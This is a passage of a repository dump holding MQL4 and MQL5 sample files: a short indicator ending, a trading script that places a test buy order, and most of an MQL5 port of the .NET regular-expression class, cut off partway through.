&close[],\r\n                const long &tick_volume[],\r\n                const long &volume[],\r\n                const int &spread[])\r\n  {\r\n  Print(\"The number of bars on the current chart: \",iBars(Symbol(),Period()));\r\n//---\r\n   return(rates_total);\r\n  }\r\n//+------------------------------------------------------------------+\r\n"
  },
  {
    "path": "samples/MQL4/script-sample.mq4",
    "content": "//+------------------------------------------------------------------+\r\n//|                                                script-sample.mq4 |\r\n//|                                   Copyright 2016, Andrey Osorgin |\r\n//+------------------------------------------------------------------+\r\n//|                     The MIT License (MIT)                        |\r\n//|                                                                  |\r\n//| Permission is hereby granted, free of charge, to any person      |\r\n//| obtaining a copy of this software and associated documentation   |\r\n//| files (the \"Software\"), to deal in the Software without          |\r\n//| restriction, including without limitation the rights to use,     |\r\n//| copy, modify, merge, publish, distribute, sublicense, and/or sell|\r\n//| copies of the Software, and to permit persons to whom the        |\r\n//| Software is furnished to do so, subject to the following         |\r\n//| conditions:                                                      |\r\n//|                                                                  |\r\n//| The above copyright notice and this permission notice shall be   |\r\n//| included in all copies or substantial portions of the Software.  |\r\n//|                                                                  |\r\n//| THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,  |\r\n//| EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES  |\r\n//| OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND         |\r\n//| NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT      |\r\n//| HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,     |\r\n//| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING     |\r\n//| FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR    |\r\n//| OTHER DEALINGS IN THE SOFTWARE.                                  |\r\n//|                                                                  |\r\n//| A copy of the MIT License (MIT) is available at                  |\r\n//| https://opensource.org/licenses/MIT                              |\r\n//+------------------------------------------------------------------+\r\n#property version   \"1.00\"\r\n#property strict\r\n#property script_show_inputs\r\n\r\ninput int StopLoss=100; //Stop Loss\r\ninput int TakeProfit=100; //Take Profit\r\n//+------------------------------------------------------------------+\r\n//| Script program start function                                    |\r\n//+------------------------------------------------------------------+\r\nvoid OnStart()\r\n  {\r\n   double minstoplevel=MarketInfo(Symbol(),MODE_STOPLEVEL);\r\n   Print(\"Minimum Stop Level=\",minstoplevel,\" points\");\r\n//---\r\n   double sl=NormalizeDouble(Bid-StopLoss*Point,Digits);\r\n   double tp=NormalizeDouble(Ask+TakeProfit*Point,Digits);\r\n//---\r\n   int result=OrderSend(Symbol(),OP_BUY,0.01,Ask,1,sl,tp,\"Test\",0,0,clrNONE);\r\n   Print(\"Success? \",result);\r\n  }\r\n//+------------------------------------------------------------------+\r\n"
  },
  {
    "path": "samples/MQL5/Regex.mqh",
    "content": "//+------------------------------------------------------------------+\r\n//|                                               Regular Expression |\r\n//|                        Copyright 2016, MetaQuotes Software Corp. |\r\n//|                                             https://www.mql5.com |\r\n//+------------------------------------------------------------------+\r\n//| Regular Expression Library from .NET Framework 4.6.1 implemented |\r\n//| in MetaQuotes Language 5 (MQL5)                                  |\r\n//| Original sources at https://github.com/Microsoft/referencesource |\r\n//|                                                                  |\r\n//| The capabilities of the Regular Expression Library include:      |\r\n//| - Lazy quantifiers                                               |\r\n//| - Positive and negative lookbehind                               |\r\n//| - Conditional evaluation                                         |\r\n//| - Balancing group definitions                                    |\r\n//| - Nonbacktracking subexpressions                                 |\r\n//| - Right-to-left matching                                         |\r\n//|                                                                  |\r\n//| If you find any functional differences between Regular Expression|\r\n//| Library for MQL5 and the original .NET Framework 4.6.1 project,  |\r\n//| please contact developers of MQL5 on the Forum at www.mql5.com.  |\r\n//|                                                                  |\r\n//| You can report bugs found in the computational algorithms of the |\r\n//| Regular Expression Library from .Net Framework 4.6.1 by notifying|\r\n//| the project coordinators.                                        |\r\n//+------------------------------------------------------------------+\r\n//|                     The MIT License (MIT)                        |\r\n//|                                                                  |\r\n//| Permission is hereby granted, free of charge, to any person      |\r\n//| obtaining a copy of this software and associated documentation   |\r\n//| files (the \"Software\"), to deal in the Software without          |\r\n//| restriction, including without limitation the rights to use,     |\r\n//| copy, modify, merge, publish, distribute, sublicense, and/or sell|\r\n//| copies of the Software, and to permit persons to whom the        |\r\n//| Software is furnished to do so, subject to the following         |\r\n//| conditions:                                                      |\r\n//|                                                                  |\r\n//| The above copyright notice and this permission notice shall be   |\r\n//| included in all copies or substantial portions of the Software.  |\r\n//|                                                                  |\r\n//| THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,  |\r\n//| EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES  |\r\n//| OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND         |\r\n//| NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT      |\r\n//| HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,     |\r\n//| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING     |\r\n//| FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR    |\r\n//| OTHER DEALINGS IN THE SOFTWARE.                                  |\r\n//|                                                                  |\r\n//| A copy of the MIT License (MIT) is available at                  |\r\n//| https://opensource.org/licenses/MIT                              |\r\n//+------------------------------------------------------------------+\r\nclass Match;\r\nclass MatchCollection;\r\nclass CachedCodeEntry;\r\nclass ReplacementReference;\r\nclass RunnerReference;\r\nclass RegexRunner;\r\n//+------------------------------------------------------------------+\r\n//| Callback class.                                                  |\r\n//+------------------------------------------------------------------+\r\ntypedef string(*MatchEvaluator)(Match*);\r\n#include <Internal\\TimeSpan\\TimeSpan.mqh>\r\n#include <Internal\\Generic\\LinkedList.mqh>\r\n#include <Internal\\Generic\\Dictionary.mqh>\r\n#include \"RegexOptions.mqh\"\r\n#include \"RegexCode.mqh\"\r\n#include \"RegexTree.mqh\"\r\n#include \"RegexParser.mqh\"\r\n#include \"RegexReplacement.mqh\"\r\n#include \"RegexWriter.mqh\"\r\n#include \"RegexMatchCollection.mqh\"\r\n#include \"RegexRunner.mqh\"\r\n#include \"RegexInterpreter.mqh\"\r\n//+------------------------------------------------------------------+\r\n//| Purpose: The Regex class represents a single compiled instance of| \r\n//| a regular expression.                                            |\r\n//+------------------------------------------------------------------+\r\n//+------------------------------------------------------------------+\r\n//| Represents an immutable, compiled regular expression. Also       |\r\n//| contains static methods that allow use of regular expressions    |\r\n//| without instantiating a Regex explicitly.                        |\r\n//+------------------------------------------------------------------+\r\nclass Regex\r\n  {\r\nprotected:\r\n   string            m_pattern;\r\n   RegexOptions      m_roptions;\r\nprivate:\r\n   static const TimeSpan MaximumMatchTimeout;\r\npublic:\r\n   static const TimeSpan InfiniteMatchTimeout;\r\nprotected:\r\n   TimeSpan          m_internalMatchTimeout;// timeout for the execution of this regex\r\nprivate:\r\n   static const string DefaultMatchTimeout_ConfigKeyName;\r\npublic:\r\n   static const TimeSpan FallbackDefaultMatchTimeout;\r\n   static const TimeSpan DefaultMatchTimeout;\r\nprotected:\r\n   Dictionary<int,int>*m_caps;        // if captures are sparse, this is the hashtable capnum->index\r\n   Dictionary<string,int>*m_capnames; // if named captures are used, this maps names->index\r\n   string            m_capslist[];    // if captures are sparse or named captures are used, this is the sorted list of names\r\n   int               m_capsize;       // the size of the capture array\r\n   RegexTree        *m_tree;\r\n   RunnerReference *m_runnerref;      // cached runner\r\n   ReplacementReference*m_replref;    // cached parsed replacement pattern\r\n   RegexCode        *m_code;          // if interpreted, this is the code for RegexIntepreter\r\n   bool              m_refsInitialized;// Default is false\r\n   static            LinkedList<CachedCodeEntry*>m_livecode;// the cached of code that are currently loaded\r\n   static int        m_cacheSize;     // Default is 15\r\npublic:\r\n   static const int  MaxOptionShift;\r\npublic:\r\n   //--- Constructors:\r\n   //+------------------------------------------------------------------+\r\n   //| Initializes a new instance of the Regex class.                   |\r\n   //+------------------------------------------------------------------+\r\n                     Regex() : m_refsInitialized(false)\r\n     {\r\n      this.m_internalMatchTimeout=DefaultMatchTimeout;\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Creates and compiles a regular expression object for the         |\r\n   //| specified regular expression.                                    |\r\n   //+------------------------------------------------------------------+\r\n                     Regex(const string pattern) : m_refsInitialized(0)\r\n     {\r\n      Initialize(pattern,None,DefaultMatchTimeout,false);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Creates and compiles a regular expression object for the         |\r\n   //| specified regular expression with options that modify the        |\r\n   //| pattern.                                                         |\r\n   //+------------------------------------------------------------------+\r\n                     Regex(const string pattern,RegexOptions options) : m_refsInitialized(0)\r\n     {\r\n      Initialize(pattern,options,DefaultMatchTimeout,false);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Initializes a new instance of the Regex class for the specified  |\r\n   //| regular expression,with options that modify the pattern and a    |\r\n   //| value that specifies how long a pattern matching method should   |\r\n   //| attempt a match before it times out.                             |\r\n   //+------------------------------------------------------------------+\r\n                     Regex(const string pattern,RegexOptions options,const TimeSpan &matchTimeout) : m_refsInitialized(0)\r\n     {\r\n      Initialize(pattern,options,matchTimeout,false);\r\n     }\r\n   //--- Destructors:     \r\n   //+------------------------------------------------------------------+\r\n   //| Destructor without parameters.                                   |\r\n   //+------------------------------------------------------------------+\r\n                    ~Regex()\r\n     {\r\n      if(CheckPointer(m_tree)==POINTER_DYNAMIC)\r\n        {\r\n         delete m_tree;\r\n        }\r\n      if(CheckPointer(m_caps)==POINTER_DYNAMIC)\r\n        {\r\n         delete m_caps;\r\n        }\r\n      bool deleteRun=true;\r\n      bool deleteRepl = true;\r\n      bool deleteCode = true;\r\n      for(LinkedListNode<CachedCodeEntry*>*current=m_livecode.First(); current!=NULL; current=current.Next())\r\n        {\r\n         if(CheckPointer(current.Value())==POINTER_DYNAMIC)\r\n           {\r\n            if(current.Value().RunnerRef()==m_runnerref)\r\n              {\r\n               deleteRun=false;\r\n              }\r\n            if(current.Value().ReplRef()==m_replref)\r\n              {\r\n               deleteRepl=false;\r\n              }\r\n            if(current.Value().Code()==m_code)\r\n              {\r\n               deleteCode=false;\r\n              }\r\n           }\r\n        }\r\n      if(CheckPointer(m_replref)==POINTER_DYNAMIC && deleteRepl)\r\n        {\r\n         delete m_replref;\r\n        }\r\n      if(CheckPointer(m_runnerref)==POINTER_DYNAMIC && deleteRun)\r\n        {\r\n         delete m_runnerref;\r\n        }\r\n      if(CheckPointer(m_code)==POINTER_DYNAMIC && deleteCode)\r\n        {\r\n         delete m_code;\r\n        }\r\n     }\r\nprivate:\r\n   //+------------------------------------------------------------------+\r\n   //| General constructor with parameters.                             |\r\n   //+------------------------------------------------------------------+\r\n                     Regex(const string pattern,RegexOptions options,const TimeSpan &matchTimeout,const bool useCache) : m_refsInitialized(0)\r\n     {\r\n      Initialize(pattern,options,matchTimeout,useCache);\r\n     }\r\n   //--- Methods:\r\n   //+------------------------------------------------------------------+\r\n   //| Initialize.                                                      |\r\n   //+------------------------------------------------------------------+\r\n   void Initialize(const string pattern,RegexOptions options,const TimeSpan &matchTimeout,const bool useCache)\r\n     {\r\n      RegexTree *tree;\r\n      CachedCodeEntry *cached=NULL;\r\n      if(pattern==NULL)\r\n        {\r\n         Print(\"Argument 'pattern'= Null.\");\r\n         //--- return\r\n         return;\r\n        }\r\n      if(options<None || (((int) options)>>MaxOptionShift)!=0)\r\n        {\r\n         Print(\"Argument 'options' out of range.\");\r\n         //--- return \r\n         return;\r\n        }\r\n      if((options    &ECMAScript)!=0\r\n         && (options  &~(ECMAScript|IgnoreCase|Multiline\r\n         #ifdef _DEBUG\r\n         |Debug\r\n         #endif\r\n         ))!=0)\r\n        {\r\n         Print(\"Argument 'options' out of range\");\r\n         //--- return\r\n         return;\r\n        }\r\n      ValidateMatchTimeout(matchTimeout);\r\n      //--- Try to look up this regex in the cache.  We do this regardless of whether useCache is true since there's really no reason not to. \r\n      string key=IntegerToString(options)+\":\"+pattern;\r\n      cached=LookupCachedAndUpdate(key);\r\n      this.m_pattern=pattern;\r\n      this.m_roptions=options;\r\n      this.m_internalMatchTimeout=matchTimeout;\r\n      if(cached==NULL)\r\n        {\r\n         //--- Parse the input\r\n         tree=RegexParser::Parse(pattern,(RegexOptions)m_roptions);\r\n         //--- Extract the relevant information\r\n         m_capnames=tree.CapNames();\r\n         tree.GetCapsList(m_capslist);\r\n         m_code       = RegexWriter::Write(tree);\r\n         m_caps       = m_code.Caps();\r\n         m_capsize    = m_code.CapSize();\r\n         InitializeReferences();\r\n         m_tree=tree;\r\n         if(useCache)\r\n           {\r\n            cached=CacheCode(key);\r\n           }\r\n        }\r\n      else\r\n        {\r\n         m_caps       = cached.Caps();\r\n         m_capnames   = cached.CapNames();\r\n         cached.GetCapList(m_capslist);\r\n         m_capsize    = cached.CapSize();\r\n         m_code       = cached.Code();\r\n         m_runnerref  = cached.RunnerRef();\r\n         m_replref    = cached.ReplRef();\r\n         m_refsInitialized=true;\r\n        }\r\n     }\r\npublic:\r\n   //--- Methods:\r\n   //+------------------------------------------------------------------+\r\n   //| Pattern.                                                         |\r\n   //+------------------------------------------------------------------+\r\n   string Pattern()\r\n     {\r\n      //--- return pattern\r\n      return (m_pattern);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Validates that the specified match timeout value is valid.       |\r\n   //| The valid range is:                                              | \r\n   //| TimeSpan::Zero < matchTimeout <= Regex::MaximumMatchTimeout.     |\r\n   //+------------------------------------------------------------------+\r\n   static void ValidateMatchTimeout(const TimeSpan &matchTimeout)\r\n     {\r\n      if(InfiniteMatchTimeout==matchTimeout)\r\n        {\r\n         //--- return\r\n         return;\r\n        }\r\n      //--- Change this to make sure timeout is not longer then Environment.Ticks cycle length:\r\n      if(TimeSpan::Zero()<matchTimeout && matchTimeout<=MaximumMatchTimeout)\r\n        {\r\n         //--- return\r\n         return;\r\n        }\r\n      Print(\"Argument 'matchTimeout' out of range.\");\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Specifies the default RegEx matching timeout value (i.e. the     |\r\n   //| timeout that will be used if no explicit timeout is specified).  |\r\n   //+------------------------------------------------------------------+\r\n   static TimeSpan InitDefaultMatchTimeout()\r\n     {\r\n      //--- retrun result\r\n      return (FallbackDefaultMatchTimeout);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Gets the runner reference.                                       |\r\n   //+------------------------------------------------------------------+\r\n   RunnerReference*RunnerReference()\r\n     {\r\n      //--- return runner reference\r\n      return (m_runnerref);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Gets the weak reference.                                         |\r\n   //+------------------------------------------------------------------+\r\n   ReplacementReference*ReplacementReference()\r\n     {\r\n      //--- return week reference\r\n      return (m_replref);\r\n     };\r\n   Dictionary<int,int>*Caps()\r\n     {\r\n      //---\r\n      return (m_caps);\r\n     }\r\n   Dictionary<string,int>*CapNames()\r\n     {\r\n      //--- return \r\n      return (m_capnames);\r\n     }\r\n   int CapSize()\r\n     {\r\n      //--- \r\n      return (m_capsize);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Returns the options passed into the constructor.                 |\r\n   //+------------------------------------------------------------------+\r\n   RegexOptions Options()\r\n     {\r\n      //--- return\r\n      return (m_roptions);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Escape metacharacters within the string.                         |\r\n   //+------------------------------------------------------------------+\r\n   static string Escape(const string str)\r\n     {\r\n      if(StringLen(str)==NULL)\r\n        {\r\n         Print(\"Argument 'str' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- return result\r\n      return RegexParser::Escape(str);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Unescape character codes within the string.                      |\r\n   //+------------------------------------------------------------------+\r\n   static string Unescape(const string str)\r\n     {\r\n      if(StringLen(str)==NULL)\r\n        {\r\n         Print(\"Argument 'str' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- return result\r\n      return RegexParser::Unescape(str);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| CacheCount.                                                      |\r\n   //+------------------------------------------------------------------+\r\n   static int CacheCount()\r\n     {\r\n      //--- return count\r\n      return (m_livecode.Count());\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| CacheSize.                                                       |\r\n   //+------------------------------------------------------------------+\r\n   static int CacheSize()\r\n     {\r\n      //--- return size\r\n      return (m_cacheSize);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| CacheSize.                                                       |\r\n   //+------------------------------------------------------------------+\r\n   static void CacheSize(const int value)\r\n     {\r\n      if(value<0)\r\n        {\r\n         Print(\"Argument 'value' out of range.\");\r\n         //--- return\r\n         return;\r\n        }\r\n      m_cacheSize=value;\r\n      if(m_livecode.Count()>m_cacheSize)\r\n        {\r\n         while(m_livecode.Count()>m_cacheSize)\r\n           {\r\n            m_livecode.RemoveLast();\r\n           }\r\n        }\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| The match timeout used by this Regex instance.                   |\r\n   //+------------------------------------------------------------------+\r\n   TimeSpan MatchTimeout()\r\n     {\r\n      //--- return result\r\n      return (m_internalMatchTimeout);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| True if the regex is leftward.                                   |\r\n   //|                                                                  |\r\n   //| Indicates whether the regular expression matches from right to   |\r\n   //| left.                                                            |\r\n   //+------------------------------------------------------------------+\r\n   bool RightToLeft()\r\n     {\r\n      //--- return result\r\n      return UseOptionR();\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Returns the regular expression pattern passed into the           |\r\n   //| constructor.                                                     |\r\n   //+------------------------------------------------------------------+\r\n   string ToString()\r\n     {\r\n      //--- return result\r\n      return (m_pattern);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Returns an array of the group names that are used to capture     |\r\n   //| groups in the regular expression. Only needed if the regex is not|\r\n   //| known until runtime, and one wants to extract captured groups.   |\r\n   //| (Probably unusual, but supplied for completeness.).              |\r\n   //+------------------------------------------------------------------+\r\n   void GetGroupNames(string &result[])\r\n     {\r\n      if(ArraySize(m_capslist)==NULL)\r\n        {\r\n         int max=m_capsize;\r\n         ArrayResize(result,max);\r\n         for(int i=0; i<max; i++)\r\n           {\r\n            result[i]=IntegerToString(i);\r\n           }\r\n        }\r\n      else\r\n        {\r\n         ArrayCopy(result,m_capslist,0,0);\r\n        }\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Returns an array of the group names that are used to capture     |\r\n   //| groups in the regular expression. Only needed if the regex is not|\r\n   //| known until runtime, and one wants to extract captured groups.   |\r\n   //| (Probably unusual, but supplied for completeness.).              |\r\n   //+------------------------------------------------------------------+\r\n   void GetGroupNumbers(int &result[])\r\n     {\r\n      if(m_caps==NULL)\r\n        {\r\n         int max=m_capsize;\r\n         ArrayResize(result,max);\r\n         for(int i=0; i<max; i++)\r\n           {\r\n            result[i]=i;\r\n           }\r\n        }\r\n      else\r\n        {\r\n         ArrayResize(result,m_caps.Count());\r\n         DictionaryEnumerator<int,int>*de=m_caps.GetEnumerator();\r\n         while(de.MoveNext())\r\n           {\r\n            result[(int)de.Value()]=(int)de.Key();\r\n           }\r\n         delete de;\r\n        }\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Given a group number, maps it to a group name. Note that nubmered|\r\n   //| groups automatically get a group name that is the decimal string |\r\n   //| equivalent of its number.                                        |\r\n   //+------------------------------------------------------------------+\r\n   string GroupNameFromNumber(const int index)\r\n     {\r\n      int i=index;\r\n      if(ArraySize(m_capslist)==NULL)\r\n        {\r\n         if(i>=0 && i<m_capsize)\r\n           {\r\n            //--- return result\r\n            return IntegerToString(i);\r\n           }\r\n         //--- return result\r\n         return (\"\");\r\n        }\r\n      else\r\n        {\r\n         if(m_caps!=NULL)\r\n           {\r\n            if(!m_caps.ContainsKey(i))\r\n              {\r\n               //--- return result\r\n               return (\"\");\r\n              }\r\n            i=m_caps[i];\r\n           }\r\n         if(i>=0 && i<ArraySize(m_capslist))\r\n           {\r\n            //--- return result\r\n            return (m_capslist[i]);\r\n           }\r\n         //--- return result\r\n         return (\"\");\r\n        }\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Given a group name, maps it to a group number. Note that nubmered|\r\n   //| groups automatically get a group name that is the decimal string |   \r\n   //| equivalent of its number.                                        |\r\n   //|                                                                  |\r\n   //| Returns -1 if the name is not a recognized group name.           |\r\n   //+------------------------------------------------------------------+\r\n   int GroupNumberFromName(const string name)\r\n     {\r\n      int result=-1;\r\n      if(name==NULL)\r\n        {\r\n         Print(\"Argument 'name' = NNULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- look up name if we have a hashtable of names\r\n      if(m_capnames!=NULL)\r\n        {\r\n         if(!m_capnames.ContainsKey(name))\r\n           {\r\n            //--- return result\r\n            return (-1);\r\n           }\r\n         //--- return result\r\n         return (m_capnames[name]);\r\n        }\r\n      //--- convert to an int if it looks like a number\r\n      result=0;\r\n      for(int i=0; i<StringLen(name); i++)\r\n        {\r\n         ushort ch=StringGetCharacter(name,i);\r\n         if(ch>'9' || ch<'0')\r\n           {\r\n            //--- return result\r\n            return (-1);\r\n           }\r\n         result *= 10;\r\n         result += (ch - '0');\r\n        }\r\n      //--- return int if it's in range\r\n      if(result>=0 && result<m_capsize)\r\n        {\r\n         //--- return result\r\n         return (result);\r\n        }\r\n      //--- return result\r\n      return (-1);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Searches the input string for one or more occurrences of the text|\r\n   //| supplied in the pattern parameter.                               |\r\n   //+------------------------------------------------------------------+\r\n   static bool IsMatch(const string in,const string pattern)\r\n     {\r\n      //--- return result\r\n      return IsMatch(in, pattern, None, DefaultMatchTimeout);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Searches the in string for one or more occurrences of the text   |\r\n   //| supplied in the pattern parameter.                               |\r\n   //+------------------------------------------------------------------+\r\n   static bool IsMatch(const string in,const string pattern,const RegexOptions options)\r\n     {\r\n      //--- return result\r\n      return IsMatch(in, pattern, options, DefaultMatchTimeout);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Searches the in string for one or more occurrences of the text   |\r\n   //| supplied in the pattern parameter.                               |\r\n   //+------------------------------------------------------------------+\r\n   static bool IsMatch(const string in,const string pattern,const RegexOptions options,const TimeSpan &matchTimeout)\r\n     {\r\n      Regex regex(pattern,options,matchTimeout,true);\r\n      //--- return result\r\n      return (regex.IsMatch(in));\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Searches the in string for one or more matches using the         |\r\n   //| previous pattern, options, and starting position.                |\r\n   //+------------------------------------------------------------------+\r\n   bool IsMatch(const string in)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- return result\r\n      return IsMatch(in, UseOptionR() ? StringLen(in) : 0);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Searches the in string for one or more matches using the         |\r\n   //| previous pattern and options, with a new starting position.      |\r\n   //+------------------------------------------------------------------+\r\n   bool IsMatch(const string in,const int startat)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      Match *run=Run(true,-1,in,0,StringLen(in),startat);\r\n      bool result=(NULL==run);\r\n      if(CheckPointer(run)==POINTER_DYNAMIC)\r\n        {\r\n         delete run;\r\n        }\r\n      //--- return result\r\n      return (result);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Searches the in string for one or more occurrences of the text|\r\n   //| supplied in the pattern parameter.                               |\r\n   //+------------------------------------------------------------------+\r\n   static Match *Match(const string in,const string pattern)\r\n     {\r\n      //--- return result\r\n      return Regex::Match(in, pattern, None, DefaultMatchTimeout);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Searches the in string for one or more occurrences of the text|\r\n   //| supplied in the pattern parameter. Matching is modified with an  |\r\n   //| option string.                                                   |\r\n   //+------------------------------------------------------------------+\r\n   static Match *Match(const string in,const string pattern,const RegexOptions options)\r\n     {\r\n      //--- return result\r\n      return Regex::Match(in, pattern, options, DefaultMatchTimeout);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Searches the in string for one or more occurrences of the text|\r\n   //| supplied in the pattern parameter. Matching is modified with an  |\r\n   //| option string.                                                   |\r\n   //+------------------------------------------------------------------+\r\n   static Match *Match(string in,string pattern,RegexOptions options,const TimeSpan &matchTimeout)\r\n     {\r\n      Regex *regex=new Regex(pattern,options,matchTimeout,true);\r\n      //--- return result\r\n      return (regex.Match(in));\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Matches a regular expression with a string and returns the       |\r\n   //| precise result as a RegexMatch object.                           |\r\n   //+------------------------------------------------------------------+\r\n   Match *Match(const string in)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- return result\r\n      return Regex::Match(in, UseOptionR() ? StringLen(in) : 0);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Matches a regular expression with a string and returns the       |\r\n   //| precise result as a RegexMatch object.                           |\r\n   //+------------------------------------------------------------------+\r\n   Match *Match(const string in,const int startat)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- return result\r\n      return Run(false, -1, in, 0, StringLen(in), startat);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Matches a regular expression with a string and returns the       |\r\n   //| precise result as a RegexMatch object.                           |\r\n   //+------------------------------------------------------------------+\r\n   Match *Match(const string in,const int beginning,const int length)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- return result\r\n      return Run(false, -1, in, beginning, length, UseOptionR() ? beginning + length : beginning);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Returns all the successful matches as if Match was called        |\r\n   //| iteratively numerous times.                                      |\r\n   //+------------------------------------------------------------------+\r\n   static MatchCollection *Matches(const string in,const string pattern)\r\n     {\r\n      //--- return result\r\n      return Regex::Matches(in, pattern, None, DefaultMatchTimeout);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Returns all the successful matches as if Match was called        |\r\n   //| iteratively numerous times.                                      |\r\n   //+------------------------------------------------------------------+\r\n   static MatchCollection *Matches(const string in,const string pattern,const RegexOptions options)\r\n     {\r\n      //--- return result\r\n      return Regex::Matches(in, pattern, options, DefaultMatchTimeout);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Returns all the successful matches as if Match was called        |\r\n   //| iteratively numerous times.                                      |\r\n   //+------------------------------------------------------------------+\r\n   static MatchCollection *Matches(const string in,const string pattern,const RegexOptions options,const TimeSpan &matchTimeout)\r\n     {\r\n      Regex *regex=new Regex(pattern,options,matchTimeout,true);\r\n      //--- return result\r\n      return (regex.Matches(in));\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Returns all the successful matches as if Match was called        |\r\n   //| iteratively numerous times.                                      |\r\n   //+------------------------------------------------------------------+\r\n   MatchCollection *Matches(const string in)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- return result\r\n      return Matches(in, UseOptionR() ? StringLen(in) : 0);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Returns all the successful matches as if Match was called        |\r\n   //| iteratively numerous times.                                      |\r\n   //+------------------------------------------------------------------+\r\n   MatchCollection *Matches(const string in,const int startat)\r\n     {\r\n      if(in==NULL)\r\n        {\r\n         Print(\"Argument 'in' = NULL.\");\r\n         //--- return NULL\r\n         return (NULL);\r\n        }\r\n      //--- return result\r\n      return new MatchCollection(GetPointer(this), in, 0, StringLen(in), startat);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Replaces all occurrences of the pattern with the \"replacement\"   |\r\n   //| pattern, starting at the first character in the in string.       |\r\n   //+------------------------------------------------------------------+\r\n   static string Replace(const string in,const string pattern,const string replacement)\r\n     {\r\n      //--- return result\r\n      return Replace(in, pattern, replacement, None, DefaultMatchTimeout);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Replaces all occurrences of the \"pattern\" with the \"replacement\" |\r\n   //| pattern, starting at the first character in the in string.       |\r\n   //+------------------------------------------------------------------+\r\n   static string Replace(const string in,const string pattern,const string replacement,const RegexOptions options)\r\n     {\r\n      //--- return result\r\n      return Replace(in, pattern, replacement, options, DefaultMatchTimeout);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Replaces all occurrences of the \"pattern\" with the \"replacement\" |\r\n   //| pattern, starting at the first character in the in string.       |\r\n   //+------------------------------------------------------------------+\r\n   static string Replace(const string in,const string pattern,const string replacement,const RegexOptions options,const TimeSpan &matchTimeout)\r\n     {\r\n      Regex *regex = new Regex(pattern,options,matchTimeout,true);\r\n      string result=regex.Replace(in,replacement);\r\n      delete regex;\r\n      //--- return result\r\n      return (result);\r\n     }\r\n   //+------------------------------------------------------------------+\r\n   //| Replaces all occurrences of the \"pattern \" with the \"replacement\"|\r\n   //| pattern, starting at the first character in the in string, using |\r\n   //| the previous patten.                                             |\r\n   //+------------------------------------------------------------------+\r\n   string Replace(const string 